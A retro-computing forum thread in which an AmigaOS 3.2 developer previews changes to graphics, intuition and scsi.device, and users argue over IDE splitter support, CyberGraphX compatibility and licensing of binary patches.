Does this mean that that these escape codes for changing foreground and background color would work with Ed with the correct colors?   
Err, what? No, this has nothing to do with with font rendering in the console. It is just how the menu is rendered. In 3.1 and before, the menu Ed attached to the window was "old style" "yellow on black". With 3.2, the menu will be "black on white", same as all other menus.
Title: Re: Os 3.2 development preview
Post by: my_pc_is_amiga on December 04, 2019, 07:01:28 AM
Thanks for clarifying.

Does this mean that that these escape codes for changing foreground and background color would work with Ed with the correct colors?   
Err, what? No, this has nothing to do with with font rendering in the console. It is just how the menu is rendered. In 3.1 and before, the menu Ed attached to the window was "old style" "yellow on black". With 3.2, the menu will be "black on white", same as all other menus.
Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 07:07:27 AM
Elbox, IComp, AmigaKit and everyone else, they all do the “IDE splitting” the same way. Apparently there was one vendor (“VOL”?) that did it differently, but everyone else do it the same “EB Standard” (“ElBox”?) way, as far as I know. I am sure Jens could answer on this one, and perhaps even provide hardware.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 07:10:17 AM
Elbox, IComp, AmigaKit and everyone else, they all do the “IDE splitting” the same way.
Nope.
Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 11:52:38 AM
Elbox, IComp, AmigaKit and everyone else, they all do the “IDE splitting” the same way.
Nope.
Really - well, leave it to NetBSD and Linux to support Amiga hardware...
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 12:01:28 PM
Really - well, leave it to NetBSD and Linux to support Amiga hardware...
If you want to use Linux and NetBSD on the Amiga, then go for it, works for me.
Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 12:18:35 PM
Really - well, leave it to NetBSD and Linux to support Amiga hardware...
If you want to use Linux and NetBSD on the Amiga, then go for it, works for me.
And AROS, apparently.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 12:23:31 PM
And AROS, apparently.
Also works for me. And, your point is?
Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 12:59:25 PM
And AROS, apparently.
Also works for me. And, your point is?

My point is that it would be better to support the hands down most common variant of this hack (as implemented on UAE, as implemented in Minimig, as well as "real" Amiga), than to not support _any_ of them. Like Linux does, like NetBSD does, like AROS does.

I understand that you specifically do not *wish* to have this implemented. Your argument is "Several variants exist how such adapters identify themselves as being present", but as far as I have read, these devices do not at all identify themselves (and how would a cable with a couple diods identifiy itself?)  It is fine that you don't want to do it, but it appears that you specifically will not allow anyone else to look into it as well.

Maybe one of those things that will have to change with Cloanto as owner.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 01:05:10 PM
I understand that you specifically do not *wish* to have this implemented.
No, completely wrong. My point is that if I support a component, I better have the specs available, and I better have the hardware available for testing. None of the two is given. Thus, you can do the following:

a) ask Elbox to update their software
b) ask Elbox to send me their specs and their hardware to get it supported,
c) organize hardware and specifications, and send them

There *is* no component going into the kickstart, especially into a component we cannot update by software, that is untested by any means. I don't want to end with the situation that we have some half-working component without at least having the chance to get it tested, and having verified that it does what it is supposed to do.


Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 01:33:25 PM
I understand that you specifically do not *wish* to have this implemented.
No, completely wrong. My point is that if I support a component, I better have the specs available, and I better have the hardware available for testing. None of the two is given.

What specs do you think was followed for implementing the support in Linux, NetBSD, AROS, Minimig, UAE etc?

Again . Jens Schönfeld is very likely able to provide you all the spec information needed, and there is source code available from all the mentioned projects about how this is implemented.

Quote
Thus, you can do the following:

a) ask Elbox to update their software.
b) ask Elbox to send me their specs and their hardware to get it supported,
c) organize hardware and specifications, and send them

I don't get exactly why this focus on ElBox? This was never their invention, they are just one of many implementers, among them, also Jens Schönfeldt - http://wiki.icomp.de/wiki/IDE-fix (and now I understand that EB is "Elaborate Bytes") 

Quote
There *is* no component going into the kickstart, especially into a component we cannot update by software, that is untested by any means. I don't want to end with the situation that we have some half-working component without at least having the chance to get it tested, and having verified that it does what it is supposed to do.

One could argue that the current scsi.device is "half working" as one could really support exactly twice as many devices on the bus :)

There is no need to put it in kickstart - it would be easy to allow the (drumroll) __*** U S E R ***___ to explicitly load a dedicated variant of scsi.device with such support that officially is considered "an experiemental hack".
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 01:44:46 PM
What specs do you think was followed for implementing the support in Linux, NetBSD, AROS, Minimig, UAE etc?
Once again: I DON'T KNOW AND I DON'T CARE. This is not Linux, NetBSD, AROS Miniming or UAE.

Again . Jens Schönfeld is very likely able to provide you all the spec information needed, and there is source code available from all the mentioned projects about his this is implemented.

That still doesn't allow me to test anything. Once again: Specs *AND* hardware.

I don't get exactly why this focus on ElBox? This was never their invention, they are just one of many implementers, among them, also Jens Schönfeldt - http://wiki.icomp.de/wiki/IDE-fix (and now I understand that EB is "Elaborate Bytes") 

It does not matter. Replace by "generic vendor". Once again, in case you still don't get it: WE ARE NOT THE SUPPORT FOR /generic vendor/. IF /generic vendor/ WANTS US TO SUPPORT HIS HARDWARE, WE NEED THE SPECS AND THE HARDWARE, OR /generic vendor/ HAS TO DO THE SUPPORT ITSELF.

Got it? This is how commercial products work. You wouldn't also request your landlord to support your washing mashine just because it's sitting in your appartment.

One could argue that the current scsi.device is "half working" as one could really support exactly twice as many devices on the bus :)

It is fully working to what it was supposed to be working with. Namely, the naked IDE/SCSI interface available in the hardware that it was developed for.

There is no need to put it in kickstart - it would be easy to allow the (drumroll) __*** U S E R ***___ to explicitly load a dedicated variant of scsi.device with such support that officially is considered "an experiemental hack".
WE DO NOT DEVELOP EXPERIMENTAL SOFTWARE. This is not an open source project where you can get away with "oh well, we didn't care so much". Either the thing is tested and working, or it is not tested. And software that is not tested is not working.

Yes, we do make bugs, as everybody else. But at least, I will not blindly type down something, "oh well, this is good enough, let's just sell it". Not without having a piece of hardware, and without having someone evaluated it and having tested it positively.

Despite, I still don't get why you expect us to take down the trash of some third party vendor that abandoned its products. That's bad enough, but why do you expect to us to put this support on our shoulders. If the support for /generic vendor/ does not work, ditch the product. After all, you seem to believe that I'm responsible for every product that could potentially be installed in the Amiga.

THAT IS NOT THE CASE. Get over it. IT IS /generic vendor/ WHO IS RESPONSIBLE FOR ITS PRODUCTS.
Title: Re: Os 3.2 development preview
Post by: CBH on December 04, 2019, 01:51:57 PM
Why don't you talk to Elbox then? It's their product, and it's their duty to keep it updated. Is there any reason why the work of third party developers has to be offloaded to the core development team? We cannot even maintain their product - there is no specification I have, there is no hardware to test with we have, we cannot give any guarantee that such a code would be correct.

So, frankly, how could this possibly work? A hardware developer not taking his products and clients serious, but we should help out to fill the gap?

The answer you seek is in the post you replied to

Someone is going to have to do something eventually. IDE splitters being incompatible with the OS drive handling improvements means that the people most interested in those improvements can't use them.

Even something basic for the scsi.device to say "hey is there any more IDE ports down there?" so that something third party can yell back "over here, here's how you talk to them" -hopefully without needing a reboot.

Else we're forever going to see the new os refinements, cd filesystem etc ignored in favor of inserting elbox disk and clicking next repeatedly until all the drives start working.

Any solution requires both you and third parties to work together, even if it just means you giving them an API to write their stuff to. If you don't put out the olive branch then the userbase will continue to throw your scsi.device in the trash.
Title: Re: Os 3.2 development preview
Post by: CBH on December 04, 2019, 01:55:36 PM
What specs do you think was followed for implementing the support in Linux, NetBSD, AROS, Minimig, UAE etc?
Once again: I DON'T KNOW AND I DON'T CARE. This is not Linux, NetBSD, AROS Miniming or UAE.

THOR: there's no solution to this problem. It's totally impossible, insurmountable problem
kolla: what about this well proven solution?
THOR: I DON'T KNOW OR CARE ABOUT SOLUTIONS
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 02:00:49 PM
Any solution requires both you and third parties to work together, even if it just means you giving them an API to write their stuff to. If you don't put out the olive branch then the userbase will continue to throw your scsi.device in the trash.
But that is exactly the problem: There is no API at the scsi.device level to get that supported. Hence, I do not know how their products work. They probably replace the entire code of the scsi.device and patch its BeginIO() vector over. We can make up an API for that, but it wouldn't help as the vendors have deprecated their products anyhow.

Thus, if you want to use their hardware, continue to use them. There is no intention to break any existing hardware. If the software that is required to get their hardware working doesn't work to your liking, and is not up to date because it doesn't support large drives, or your drive, then I don't quite see why that is a problem I need to solve.

I *could* solve that problem if someone sends me the specs AND the hardware, and asks politely. I.e. exactly unlike Kolla.

Just to clear that up, once again: NOTHING BREAKS IDEFIX or the Elbox software at that point. The limitations such software has with large drives is not up to the updated scsi.device. It is due to the limitations in the product sold by such parties itself.
Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 02:14:06 PM
I just tested on FS-UAE with the IDEFix (and *just* the IDEFix binary - no devs:atapi.device or anything) dowloaded from IComp, and with FS-UAE configured with two first drives as native gayle ide0 and two next as ide1 it works just as on real hardware, as well as MiSTer.

So this can be tested also without having tons of hardware available.
(and who knows - perhaps the largest mass of buyers are user of emulators and FPGA systems anyhow)

http://kolla.no/fs-uae-gayle2x.png
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 02:18:10 PM
I just tested on FS-UAE with the IDEFix (and *just* the IDEFix binary - no devs:atapi.device or anything) dowloaded from IComp, and with FS-UAE configured with two first drives as native gayle ide0 and two next as ide1 it works just as on real hardware, as well as MiSTer.
And how do you know that? IOWs, instead of depending on hardware, you now depend on the correctness of the emulation. Sorry, but this is not a product for emulation, and you know that. It is a product for real hardware.
Title: Re: Os 3.2 development preview
Post by: CBH on December 04, 2019, 02:20:12 PM
Any solution requires both you and third parties to work together, even if it just means you giving them an API to write their stuff to. If you don't put out the olive branch then the userbase will continue to throw your scsi.device in the trash.
But that is exactly the problem: There is no API at the scsi.device level to get that supported.

That is exactly the point, numbnuts. There is no API for scsi.device right now.

However: YOU ARE A DEVELOPER. YOU COULD MAKE ONE.

That's all you would have to do. You don't have to include OS support for IDE splitters or buffers, you just need to provide an API for third parties to develop this support themselves.

99% of the functionality the third party hardware/software provides is now in your updated AmigaOS. All we want is a safe way to enable the last 1% ourselves. Otherwise we have to throw away your 99% and your endeavour was pointless.

As it is this is my compromise argument, where you don't have to support any hardware you already don't, just provide a new (and rather small) API. But as kolla points out your arguments against actually supporting such thirdparty HW is bad - you say there's no specs and it can't be tested properly, but it's all documented and implemented by everyone else 100%, so it's obviously not that hard. "I don't care" is not an adult response to being proved wrong.
Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 02:22:04 PM
And how do you know that? IOWs, instead of depending on hardware, you now depend on the correctness of the emulation. Sorry, but this is not a product for emulation, and you know that. It is a product for real hardware.
Good effin greef - allright then, give me your address and I will send you an adapter!
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 02:26:48 PM
Good effin greef - allright then, give me your address and I will send you an adapter!
Thanks. You have it. It's actually in any software guide I wrote.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 02:30:01 PM
However: YOU ARE A DEVELOPER. YOU COULD MAKE ONE.
Great. And then how do we get /generic vendor/ to support it?

Just to remind you: The problem is with the existing hardware that has been abandoned by its vendors. So how likely is it that this strategy will help users?

Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 02:30:47 PM

you just need to provide an API for third parties to develop this support themselves.
That API is already there, but most, if not all, third parties have vanished.

It is clear that Thomas will not do it, so if this is important enough for the some of us, it is really a matter of finding someone who is willing and able to disassemble and patch the official scsi.device as it evolves. Legally this should be all fine, as it falls under "interoperability".
Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 02:33:27 PM
Thanks. You have it. It's actually in any software guide I wrote.

I had the impression that you recently moved.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 02:37:22 PM
I had the impression that you recently moved.

Believe me. It will reach me if you send it to Berlin. I'll be there over Christmas. A 2nd drive (or something else) to connect it to would also be helpful, otherwise it's just a adapter without additional functionality. Please also note the type of adapter you have, and which of the identification protocols it speaks. I have about four of them.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 02:43:00 PM
That API is already there, but most, if not all, third parties have vanished.
There is no API, really. It would need a hook for identifying the device, and another one to modify the drive selection phase. scsi does not have external interfaces beyond the exec device interface.

It is clear that Thomas will not do it, so if this is important enough for the some of us, it is really a matter of finding someone who is willing and able to disassemble and patch the official scsi.device as it evolves. Legally this should be all fine, as it falls under "interoperability".
That's legally not fine anymore, but ask your lawer of least distrust. You are creating a derived product. It was ok a while ago if you had disassembled a binary to find out how to speak to a particular software, without using any of the software in the implementation of your interface. But that's not what you are intending. You intend to redistribute the binary. That was, even back then, not legit.

To make this more precise: If scsi.device had a hidden undocumented interface, you had been allowed a while back then to find out how this interface works, then program against that interface. This is as far as it went. Problem is: There is no hidden undocumented interface. There is just BeginIO().

You can implement your own scsi.device, from scratch. In fact, I wouldn't argue against that at all.

Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 02:43:15 PM
Please also note the type of adapter you have, and which of the identification protocols it speaks. I have about four of them.

I still don't grasp this "identification protocol" you keep mentioning - how does a cable and two diods "identify" itself?
Title: Re: Os 3.2 development preview
Post by: kolla on December 04, 2019, 02:47:20 PM
You intend to redistribute the binary.
Why would I distribute anything?

I just care about my own systems, of which some have more than 2 devices attached to the IDE bus.

If someone else in the same situation asks for a binary patch, I would send it to them.
Chances are, it would distribute itself over time.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 02:48:44 PM
I still don't grasp this "identification protocol" you keep mentioning - how does a cable and two diods "identify" itself?
Probably because the adapters sold by some vendors are more than just a cable and a diode?

There is some logic in some branches of Os 4 that attempts to identify them, and actually, more than one. I don't know why I need this, I don't know how they work exactly, I don't know how the drive switch works, and I have no hardware to test with. My experience with Os 4 source is "rather mixed", so I don't grab something and "hope the best".

Do you finally understand why I don't want to merge some untested code into the development branch without having a chance to test that it does what it was supposed to do, and validate that it works as it should?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 02:49:41 PM
If someone else in the same situation asks for a binary patch, I would send it to them.
Chances are, it would distribute itself over time.
Again, a derived work, that does not matter. Doesn't make it better. Besides, nothing "distributes itself".
Title: Re: Os 3.2 development preview
Post by: CBH on December 04, 2019, 03:21:40 PM
Great. And then how do we get /generic vendor/ to support it?

Just to remind you: The problem is with the existing hardware that has been abandoned by its vendors. So how likely is it that this strategy will help users?

If you build it they will come, who "they" is doesn't matter.

I don't consider this hardware to be abandoned because it's still made and sold. They see no software updates because there is, until the OS changes in a usefully relevant way, nothing for them to update.
Title: Re: Os 3.2 development preview
Post by: CBH on December 04, 2019, 03:23:31 PM
There is some logic in some branches of Os 4 that attempts to identify them, and actually, more than one. I don't know why I need this, I don't know how they work exactly, I don't know how the drive switch works, and I have no hardware to test with. My experience with Os 4 source is "rather mixed", so I don't grab something and "hope the best".

Do you finally understand why I don't want to merge some untested code into the development branch without having a chance to test that it does what it was supposed to do, and validate that it works as it should?

In England if we don't understand something at work, we can ask a coworker who knows about it. Perhaps not a German tradition?
Title: Re: Os 3.2 development preview
Post by: asymetrix on December 04, 2019, 03:23:51 PM

@Thomas Richter

Quote
Anyhow, developers have now freedom: Either choose the simple gadtools "fixed width fonts raster based" gadtools layout, or the flexible reaction "layout.class" engine.

Would be nice to have developers have less work to do with similar apis.
This way One may just use GUI.Layout = GADTOOLS

One day the system could detect low resource and allow a user to switch layout in realtime.
Devs always reinvent the wheel, we must endeavour to do the work once, and allow APIs to make changes + add features.

Devs should only see and use generic UI components, the UI engine(s) should be detachable in case someone want to develop a different UI, with pre associated automation/script and shortcut assignments made default.

One day we might get templates eg UI.paint or UI.wordprocess etc

Maybe even attach Client/server comms like in windows inter apps communications protocols.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 03:31:58 PM
In England if we don't understand something at work, we can ask a coworker who knows about it. Perhaps not a German tradition?

Maybe it's British tradition to release something untested, but it's certainly not my tradition (let it be German or anything else).
Title: Re: Os 3.2 development preview
Post by: CBH on December 04, 2019, 03:40:03 PM
perhaps you can test it by writing an ide splitter driver which uses it

it would go well with the 68030.library nag screen that goes away when we install your third party mmucrap.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 03:45:55 PM
it would go well with the 68030.library nag screen that goes away when we install your third party mmucrap.
Oh, are we down to insulting now? How fitting, you fight like a cow.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 06:32:28 PM
Would be nice to have developers have less work to do with similar apis.
This way One may just use GUI.Layout = GADTOOLS
GadTools and reaction/layout.class are not very similar. Gadtools places its GUI elements at fixed positions, either in pixel positions (<=3.1.4) or also at multiples of font size containers (>= 3.2).

The layout.class sizes  and places the contents of its containers dynamically, where positions are rather given implicitly by relations of "left of" or "is subelement of". A layout-based GUI is much more flexible, and also resizable. Gadtools is rather rigid.

One day the system could detect low resource and allow a user to switch layout in realtime.
By using more resources to detect low resources? Ehem...


Devs always reinvent the wheel, we must endeavour to do the work once, and allow APIs to make changes + add features.
Actually, I don't see that there is anything "reinvented". There is nothing similar to the layout.class on the gadtools side at all.


Devs should only see and use generic UI components, the UI engine(s) should be detachable in case someone want to develop a different UI, with pre associated automation/script and shortcut assignments made default.
Now, *you* are reinventing intuition boopsis. (-;
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 04, 2019, 07:09:11 PM
I don't consider this hardware to be abandoned because it's still made and sold. They see no software updates because there is, until the OS changes in a usefully relevant way, nothing for them to update.
Oh well. The following is from the 3.1.4 sources:
Code: [Select]
                ; This is a little hack that makes things a lot easier for
                ; me. Due to commercial/support issues, H&P/Olli Kastl do not want
                ; to have 4way support enabled. It may come in handy for me though,
                ; so I do this little magic stunt
Only so much: You can enable 4-way adapters (since 3.9 and  thus 3.1.4 actually), though it seems that this was not indended back then - without permission from Oliver Kastl, it's probably better to keep it this way.
Title: Re: Os 3.2 development preview
Post by: CBH on December 04, 2019, 10:35:45 PM
Ah, so the feature has already been made since 20 years ago but not enabled.

Can't wait for 3.3 where it is enabled, like 3.1.4's optional new intuition in 3.2
Title: Re: Os 3.2 development preview
Post by: nbache on December 04, 2019, 11:28:19 PM
Is that the same "hack" which is enabled in the OS4 Classic port by creating a Kickstart module called AtapiIsMajik (or something like that)?

Best regards,

Niels
Title: Re: Os 3.2 development preview
Post by: Gulliver on December 05, 2019, 12:06:00 AM
Is that the same "hack" which is enabled in the OS4 Classic port by creating a Kickstart module called AtapiIsMajik (or something like that)?

Best regards,

Niels

..."ATAPIismajik 52.1 (7.8.2007)

The OS4 motherboard IDE scsi.device driver can handle IDE drives
which are attached to the single motherboard IDE port (unit 0 for
the master drive, unit 1 for the slave drive).

The OS4 IDE scsi.device can also handle IDE drives which are attached
to the second IDE port when IDE port doubler hardware is installed
(unit 2 for the master drive on the second IDE port, unit 3 for the
slave drive on the second IDE port).

The following IDE port doubler hardware is automatically detected:
- Elbox EIDE99

The following IDE port doubler hardware is NOT automatically detected:
- IDEFix
- IDEFix97
- IDEFix Express

Currently there exists no known method to autodetect the IDEFix group
of IDE port doublers, its necessary that you specify if such hardware
is present."...
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 05, 2019, 06:22:52 AM
Ah, so the feature has already been made since 20 years ago but not enabled.

Can't wait for 3.3 where it is enabled, like 3.1.4's optional new intuition in 3.2
Once again, you have that feature already as of 3.1.4, and it will not be enabled by default.I am not clear about the details, but it seems that there were two reasons for that: First of all, it seems likely that H&P did not want to canibalize the Idefix market, and second, the detection algorithm does not seem to be 100% fool proof, it is a heuristic. So you have to get it enabled itself by a resident module of the name Gulliver already mentioned. It is equally easy to get one into the system, without modifying the kickstart.

It would be easy to write one, though our two "insult swordfighting heros" will probably continue to argue for another day instead of getting active themselves...
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 05, 2019, 06:38:07 AM
Another day, another component: Graphics.

There is not much new about graphics. There are two old bugs we found, namely when attempting to render VSprites on a NULL ViewPort which caused MuForce hits. It seems unlikely that this happens, but there are a couple of games that load their own view by LoadView(NULL). If, at that point, you are still holding an icon on the workbench - happens quite easily by an erratic mouse button - and then quit the game, the workbench is already continuing to move the icon even though the graphics view is not yet loaded. The gels functions have been updated to handle this case now gracefully.

There is also some news on AllocBitMap() and RTG support. AllocBitMap() has been enhanced a little bit to use its "friend bitmap" pointer differently in case a specific "flag" combination is set. In such a case, the "friend bitmap" becomes a taglist, and carries information such on the display ID. Previous versions of the operating system act gracefully on this flag combination and return NULL, i.e. fail the allocation.

Now, why is this important? Consider an RTG graphics scheme where a software needs to open a screen in a non-native graphics mode. At this point, there is no "friend bitmap" because the screen is not yet open, yet the system calls into AllocBitmap() for the screen. AllocBitMap() is now patched over by the RTG software, and is supposed to take the bitmap to the graphics RAM of the RTG board. Unfortunately, it cannot really know as there has not been an indicator on AllocBitMap() where the screen is supposed to go, and which graphics mode it is going to be.

P96, at least, "went fishing": It looked at the stack frame from the call, used a heuristics, and if the heuristics said that the call is likely coming from intuition, it checked the stack frame for the display ID where it was laying around - by pure chance, not by design - and then used the display ID from there.

Of course, this is not a robust algorithm, and as the stack layout changed with intuition V45 as it was recompiled by another compiler, P96 would have been broken. So V45 of intuition contains a special "kludge", a short piece of assembler stub, that prepares a stack frame within OpenScreen() that looks like the one from V40, and then called into AllocBitMap() to make P96 happy.

Needless to say, this is all a fragile design and need to go, and so it does now. Intuition v47 (more to be said about this) uses now the new AllocBitMap() interface with tags prepared to list the display ID, and the latest P96 versions (2.3 and up) grab the displayID now through the new interface. Actually, this interface was already put into P96 years ago (around ~2000 or so), but wasn't activated as its counterpart in intuition and graphics was missing. Not any more.

It is likely that cgfx requires a similar kludge, probably for additional functions, but we don't know what exactly, and Frank hasn't reacted on the request to document them, so users of CGfx wil have to downgrade intuition to v40. Just put it in LIBS: and System-Startup will pick it up there. No need for reboot, but no new intuition functions either.
Title: Re: Os 3.2 development preview
Post by: ronniebeck on December 05, 2019, 12:28:40 PM
@Thomas Richter
I am trying to get my head around how RTG is sticky tapped to AOS.  The more I read, including your comments just now, the more the feeling grows that at some point Amiga OS will need a clean approach to RTG.  Or perhaps better said, that RTG needs to be added as a fundamental assumption of graphical Libraries in Amiga OS.  Is my view valid or do you see it differently?  I guess my thinking goes into the direction of: if I want to have RTG, I am reliant on 3rd party libraries (P96 for example) and hacks (albeit well written and mostly reliable) to make traditional software work.  Does it make sense to so something in Amiga OS itself to do away with the need of such hacks?  Or ares such ideas best left to the realms of  OS4/AROS/MorphOS.......

Just curious how you see it technically.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 05, 2019, 02:19:53 PM
The more I read, including your comments just now, the more the feeling grows that at some point Amiga OS will need a clean approach to RTG.  Or perhaps better said, that RTG needs to be added as a fundamental assumption of graphical Libraries in Amiga OS.  Is my view valid or do you see it differently?
That's difficult because there are two conflicting goals. Goal number 1 is to have a well-maintained architecture that is robust and extensible. The current construction of RTG graphics patching into the system and replacing half of graphics is not suitable to match this goal, even more so in that you depend on some third parties to keep their RTG stack updated. Goal number 2 is not to loose any customers because technical details how to support them are no longer available, and thus it becomes impossible to write drivers for them. My view is that #2 is more important that #1, but all within limits.

In a sense, we already have that because CGFx seems to be out of support and we have a situation where its owner is not willing to cooperate, so we try the best to work around this situation, but one has to apprecate that the further the project progresses, the more features users depending on CGFx will loose. For 3.1.4, it was the ability to drag windows out of the screen. For 3.2, it will be more (iconfication will be lost, some GUI decoration items will be lost), so it's not a way how we can possibly progress in the future.

Option #1 is, from the perspective of the software developer the better option because we would get rid of a lot of legacy junk in graphics, and would re-build a better system. But a better system helps little when it means that half of the user base cannot use their graphics cards anymore.

So, at this point, we can try to either convince CGfx owners to invest into udpating the system, hopefully by enough users winking with their pockets. If this is going to work, we'll keep the current "binary" system.
If that's not going to work, well, what can we do? We cannot wait forever, and then go for a new RTG system, probably integrating more and more parts of P96 into graphics to get a more consistent graphics library.

My personal view: Users first, go try to get CGfx active again, though I cannot do much here. It is a matter of the user base to become active enough to demand an update from CGfx.
But one thing for sure: The Os  will not be taken hostage of CGfx and the good will of some third parties. If this is not going to work, then 3.2 is probably the last version that has a fall-back for CGfx. I like to keep doors open as much and as long as I can, but not forever.
Title: Re: Os 3.2 development preview
Post by: kamelito on December 05, 2019, 02:35:24 PM
Aren’t all Amiga legacy gfx boards compatible with  both system?
If so they just need to replace CGX by P96.
How many CGX users bought 3.1.4? If the number is low then I don’t see a problem here.
Many OS upgrade from CBM broke 3rd party RTG so why change now? If F. Mariak do not care about its customers why should you?. We need to move forward and not create a kludge OS.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 05, 2019, 02:57:27 PM
Aren’t all Amiga legacy gfx boards compatible with  both system?
No, that's not the case. For some boards, we don't have a P96 driver at all, or only in experimental stage (non-working). I don't have access to such boards, so cannot update the driver.
Also, note that some people use CGfx because it allows to drag screens, a feature P96 does not support.

How many CGX users bought 3.1.4? If the number is low then I don’t see a problem here.
I do not have any data on this, but 3.1.4 worked on CGfx.

Many OS upgrade from CBM broke 3rd party RTG so why change now?
The situation changed. We no longer have an "active ecosystem", but a "retrosystem". So users don't buy new hardware to get a better system, but to preserve what they have. That implies that we should avoid to break things because it conflicts with the goals of the owners of keeping what they have.

If F. Mariak do not care about its customers why should you?. We need to move forward and not create a kludge OS.
I believe it is a matter of his customers. I believe if enough of them would approach them, maybe he would move. If there would be sufficient money to be collected, to either provide specifications (i.e. what is exactly needed on the intuition side to get CGfx needed) or to upgrade CGfx, or to release its sources, or to find an independent developer, then the economic situation may make it worthwhile to invest into it, and Frank would be silly not to take the money.

So yes, I believe users could do something to get CGfx back in service. Or to help develop drivers for their cards on P96. Or get sufficient specifications to include kludges in intuition to keep CGfx happy.
Either solution works for me.
Title: Re: Os 3.2 development preview
Post by: kolla on December 05, 2019, 03:40:04 PM
One should know that CyberGraphX is not abandoned, it lives on as part of MorphOS.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 05, 2019, 05:23:45 PM
One should know that CyberGraphX is not abandoned, it lives on as part of MorphOS.
That's abandoned enough for 68K users, I afraid.
Title: Re: Os 3.2 development preview
Post by: kamelito on December 05, 2019, 07:38:14 PM
 Back in the day a friend of mine got a Domino which was not working under AmigaOS 3.1 might be 3.0. I was tracing the crash under Monam with a prog of mine which basically disabled interrupt to trace the driver it was many long hours but in the end I didn’t really fixed it properly. A freemem call was crashing the driver so what I did was skipping the freemem but then the mouse pointer was not displayed but it didn’t crashed anymore then we had to return the card so I cannot go further.
Title: Re: Os 3.2 development preview
Post by: CBH on December 05, 2019, 09:06:55 PM
Back in the day a friend of mine got a Domino which was not working under AmigaOS 3.1 might be 3.0. I was tracing the crash under Monam with a prog of mine which basically disabled interrupt to trace the driver it was many long hours but in the end I didn’t really fixed it properly. A freemem call was crashing the driver so what I did was skipping the freemem but then the mouse pointer was not displayed but it didn’t crashed anymore then we had to return the card so I cannot go further.

And you were wearing an onion on your belt, as was the fashion of the time?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 06, 2019, 05:35:15 AM
Another component: Intuition.

First, as already said, intuition OpenScreen() uses now the new graphics.library AllocBitMap() tags-based interface to allocate bitmaps from graphics, or from the graphics system, which is RTG friendly as all the missing parameters such as the target display ID are passed in.

We have two new intuition functions, namely ShowWindow() and HideWindow() which, well - as the name suggests - make an entire window visible or invisible. It can be used for iconification purposes. The functions are also present in AmigaOs 4.0, at the same LVO vector offsets, though the Os 4 implementation was rather hacky (not to say borken). Actually, someone took the code from my "tech demo" I made for the V45 layers library in 2002 or so and integrated exactly that code into intuition, though this was never considered to be the correct design for it as it did not integrate into the intuition state machine. It now does.

Concerning iconification, intuition gets a new first class citicizen window gadget you can request to get added to your window, and this is the iconification gadget. WFLG_ICONIFY enables it. If the user presses on the gadget, intuition sends an IDCMP_CLOSEWINDOW with a "CODE=1" instead of CODE=0 to the application, which can then react accordingly. All the system tools, preferences, utilities and the console window use it to iconify themselves on the workbench.

Off-window screen dragging was refined as windows show now a slight "persistence" to be dragged out of the screen. It can also be turned off in the icontrol preferences (though, I wonder, why would you want to turn it off...)

The frameiclass got another mode, namely "CONTEXTFRAME", which is the double-outlined frame with a headline on top. It is used quite a lot by the preferences editors, and gadtools. Which also means that the preferences will now lack some of their decoration if run with intuition v40.

We also made a slight change in the menu rendering. Mutual exclusive menu items are no longer rendered with a check-mark, but with a round circle - filled or unfilled - so they remind users a bit of the radio buttons - or look close to them. This makes it a lot easier to spot such items, and it should be quite immediate how they operate. The checkmark remains to be used for the "on-off" items.

Finally, intuition can now be expunged from memory, i.e. can be told to vanish. This is mostly useful for System-Startup where it is used to either update intuition to a new version, or downgrade it to v40 for the CGfx users.

Title: Re: Os 3.2 development preview
Post by: kolla on December 06, 2019, 12:26:51 PM
That's abandoned enough for 68K users, I afraid.
I would say it is the other way around - the 68k users were abandoned, not the software :-)

Anyways, considering history and all the badmouthing Hyperion people have served MorphOS and its developers, I very much doubt that anyone from "the blue side" has any interest in supporting anything that is related to Hyperion.

Another one of those things that may change if Cloanto wins the ongoing court cases.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 06, 2019, 01:29:25 PM
Another one of those things that may change if Cloanto wins the ongoing court cases.
No, because then a lot of other bad things will happen. Maybe you still do not understand, but as long as the two parties don't come to a mutual agreement, everybody looses.
Title: Re: Os 3.2 development preview
Post by: kamelito on December 06, 2019, 03:31:11 PM
@Thomas Richter is it planned to add memory protection as done in AmigaOS 4.x?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on December 06, 2019, 06:00:26 PM
@Thomas Richter is it planned to add memory protection as done in AmigaOS 4.x?
No, it's not.
Title: Re: Os 3.2 development preview
Post by: kolla on December 06, 2019, 07:12:11 PM
No, because then a lot of other bad things will happen.

Scaremongery much?

I don’t see anything bad about Cloanto taking over, only a lot of positive things.
